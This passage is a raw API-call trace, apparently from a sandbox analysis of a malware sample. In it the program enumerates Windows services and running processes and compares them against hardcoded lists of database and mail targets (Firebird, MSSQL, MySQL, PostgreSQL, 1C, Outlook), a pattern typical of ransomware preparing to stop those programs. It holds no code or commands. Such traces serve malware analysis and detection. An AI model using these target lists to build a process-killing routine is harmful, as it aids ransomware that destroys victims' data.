returned 8 [0054.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0054.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0054.127] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0054.127] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0054.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0054.127] lstrlenW (lpString="CscService") returned 10 [0054.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0054.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0054.127] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0054.127] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0054.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0054.127] lstrlenW (lpString="DcomLaunch") returned 10 [0054.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.127] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0054.128] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0054.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0054.128] lstrlenW (lpString="Dhcp") returned 4 [0054.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0054.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0054.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0054.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0054.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0054.128] lstrlenW (lpString="Dnscache") returned 8 [0054.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0054.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0054.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0054.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0054.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0054.128] lstrlenW (lpString="DPS") returned 3 [0054.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0054.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0054.128] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0054.128] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0054.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0054.128] lstrlenW (lpString="eventlog") returned 8 [0054.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0054.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0054.128] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0054.128] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0054.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0054.128] lstrlenW (lpString="EventSystem") returned 11 [0054.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0054.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0054.128] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0054.128] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0054.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0054.128] lstrlenW (lpString="gpsvc") returned 5 [0054.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0054.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0054.129] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0054.129] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0054.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0054.129] lstrlenW (lpString="iphlpsvc") returned 8 [0054.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.129] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0054.129] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0054.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0054.129] lstrlenW (lpString="LanmanServer") returned 12 [0054.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0054.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0054.129] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0054.129] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0054.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0054.129] lstrlenW (lpString="LanmanWorkstation") returned 17 [0054.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.129] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0054.129] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0054.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0054.129] lstrlenW (lpString="lmhosts") returned 7 [0054.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0054.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0054.129] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0054.129] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0054.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0054.129] lstrlenW (lpString="MMCSS") returned 5 [0054.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0054.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0054.129] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0054.129] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0054.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0054.129] lstrlenW (lpString="MpsSvc") returned 6 [0054.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0054.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0054.130] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0054.130] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0054.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0054.130] lstrlenW (lpString="Netman") returned 6 [0054.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0054.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0054.130] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0054.130] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0054.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0054.130] lstrlenW (lpString="netprofm") returned 8 [0054.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0054.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0054.130] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0054.130] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0054.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0054.130] lstrlenW (lpString="NlaSvc") returned 6 [0054.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0054.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0054.130] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0054.130] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0054.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0054.130] lstrlenW (lpString="nsi") returned 3 [0054.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0054.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0054.130] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0054.130] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0054.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0054.130] lstrlenW (lpString="PcaSvc") returned 6 [0054.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0054.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0054.130] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0054.130] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0054.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0054.131] lstrlenW (lpString="PlugPlay") returned 8 [0054.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0054.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0054.131] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0054.131] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0054.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0054.131] lstrlenW (lpString="Power") returned 5 [0054.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0054.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0054.131] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0054.131] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0054.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0054.131] lstrlenW (lpString="ProfSvc") returned 7 [0054.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0054.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0054.131] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0054.131] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0054.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0054.131] lstrlenW (lpString="RpcEptMapper") returned 12 [0054.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.131] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0054.131] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0054.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0054.131] lstrlenW (lpString="RpcSs") returned 5 [0054.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0054.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0054.131] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0054.131] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0054.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0054.131] lstrlenW (lpString="SamSs") returned 5 [0054.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0054.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0054.132] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0054.132] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0054.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0054.132] lstrlenW (lpString="Schedule") returned 8 [0054.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0054.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0054.132] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0054.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0054.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0054.132] lstrlenW (lpString="SENS") returned 4 [0054.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0054.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0054.132] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0054.132] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0054.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0054.132] lstrlenW (lpString="ShellHWDetection") returned 16 [0054.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.132] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0054.132] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0054.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0054.132] lstrlenW (lpString="Spooler") returned 7 [0054.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0054.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0054.132] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0054.132] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0054.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0054.132] lstrlenW (lpString="swprv") returned 5 [0054.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0054.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0054.133] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0054.133] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0054.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0054.133] lstrlenW (lpString="SysMain") returned 7 [0054.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0054.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0054.133] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0054.133] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0054.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0054.133] lstrlenW (lpString="Themes") returned 6 [0054.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0054.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0054.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0054.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0054.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0054.133] lstrlenW (lpString="TrkWks") returned 6 [0054.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0054.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0054.133] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0054.133] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0054.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0054.133] lstrlenW (lpString="UxSms") returned 5 [0054.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0054.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0054.133] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0054.133] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0054.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0054.133] lstrlenW (lpString="VSS") returned 3 [0054.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0054.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0054.133] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0054.133] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0054.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0054.133] lstrlenW (lpString="WdiServiceHost") returned 14 [0054.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.134] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0054.134] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0054.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0054.134] lstrlenW (lpString="WdiSystemHost") returned 13 [0054.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.134] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0054.134] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0054.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0054.134] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0054.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.134] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0054.134] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0054.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0054.134] lstrlenW (lpString="Winmgmt") returned 7 [0054.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0054.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0054.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0054.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0054.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0054.134] lstrlenW (lpString="WPDBusEnum") returned 10 [0054.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.134] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0054.134] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0054.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0054.134] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5d28 | out: hHeap=0x4b0000) returned 1 [0054.134] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0054.137] Process32FirstW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.137] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.138] lstrlenW (lpString="System") returned 6 [0054.138] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0054.138] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0054.138] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0054.138] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0054.138] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0054.138] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0054.138] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0054.138] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.139] lstrlenW (lpString="smss.exe") returned 8 [0054.139] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0054.139] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0054.139] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0054.139] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0054.139] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0054.139] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0054.139] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0054.139] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.139] lstrlenW (lpString="csrss.exe") returned 9 [0054.140] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0054.140] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0054.140] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0054.140] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0054.140] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0054.140] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0054.140] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0054.140] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.140] lstrlenW (lpString="wininit.exe") returned 11 [0054.140] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0054.140] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0054.140] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0054.141] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.141] lstrlenW (lpString="csrss.exe") returned 9 [0054.141] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.142] lstrlenW (lpString="winlogon.exe") returned 12 [0054.142] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.142] lstrlenW (lpString="services.exe") returned 12 [0054.143] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.143] lstrlenW (lpString="lsass.exe") returned 9 [0054.143] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.144] lstrlenW (lpString="lsm.exe") returned 7 [0054.144] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.144] lstrlenW (lpString="svchost.exe") returned 11 [0054.145] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.145] lstrlenW (lpString="svchost.exe") returned 11 [0054.145] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.146] lstrlenW (lpString="svchost.exe") returned 11 [0054.146] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.147] lstrlenW (lpString="svchost.exe") returned 11 [0054.147] Process32NextW (in: hSnapshot=0x1b8, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, 